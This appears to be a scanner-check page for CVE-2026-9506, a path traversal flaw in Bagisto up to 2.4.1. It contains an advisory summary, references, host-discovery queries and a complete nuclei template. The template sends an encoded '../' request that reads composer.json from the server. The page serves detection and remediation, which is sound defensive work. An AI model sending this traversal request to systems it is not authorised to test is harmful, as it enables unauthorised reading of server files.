CVE-2026-9506· webkul / bagisto· CWE-22
Bagisto <= 2.4.1 - Unauthenticated Arbitrary File Read
Bagisto through 2.4.1 is vulnerable to unauthenticated path traversal in the ImageCache controller. The `original` image-cache route (/cache/original/{filename}) passes the user-supplied filename to getImagePath() without any '..' filtering or realpath containment, allowing a remote unauthenticated attacker to read files outside the intended public image directories (upload/images) - for example the application's composer.json, artisan and other source files.
Impact
Unauthenticated attackers can read arbitrary sensitive files, potentially exposing confidential information.
Fix
Fixed in 2.4.2, which adds realpath() containment and '../' sanitisation.
How to confirm it
Send: GET {{BaseURL}}/cache/original/%2e%2e/composer.json
Positive when: contains "\"name\": \"bagisto/bagisto\"" or "Bagisto Laravel E-Commerce" AND status 200Run it with nuclei: nuclei -id CVE-2026-9506 -u <target>
The full check
id: CVE-2026-9506
info:
name: Bagisto <= 2.4.1 - Unauthenticated Arbitrary File Read
author: str4k3r
severity: high
description: |
Bagisto through 2.4.1 is vulnerable to unauthenticated path traversal in the ImageCache controller. The `original` image-cache route (/cache/original/{filename}) passes the user-supplied filename to getImagePath() without any '..' filtering or realpath containment, allowing a remote unauthenticated attacker to read files outside the intended public image directories (upload/images) - for example the application's composer.json, artisan and other source files.
impact: |
Unauthenticated attackers can read arbitrary sensitive files, potentially exposing confidential information.
remediation: Fixed in 2.4.2, which adds realpath() containment and '../' sanitisation.
reference:
- https://github.com/advisories/GHSA-qhcg-rw5x-vg94
- https://nvd.nist.gov/vuln/detail/CVE-2026-9506
- https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2026-0292
- https://www.ionix.io/threat-center/cve-2026-9506/
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
cvss-score: 8.7
cve-id: CVE-2026-9506
epss-score: 0.01382
epss-percentile: 0.72381
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: webkul
product: bagisto
shodan-query: http.html:"Bagisto"
fofa-query: body="bagisto"
tags: cve,cve2026,bagisto,webkul,lfi,unauth
http:
- method: GET
path:
- "{{BaseURL}}/cache/original/%2e%2e/composer.json"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"name": "bagisto/bagisto"'
- 'Bagisto Laravel E-Commerce'
condition: or
- type: status
status:
- 200References
- https://github.com/advisories/GHSA-qhcg-rw5x-vg94
- https://nvd.nist.gov/vuln/detail/CVE-2026-9506
- https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2026-0292
- https://www.ionix.io/threat-center/cve-2026-9506/
Use this check only on systems you are authorised to test. Where the data comes from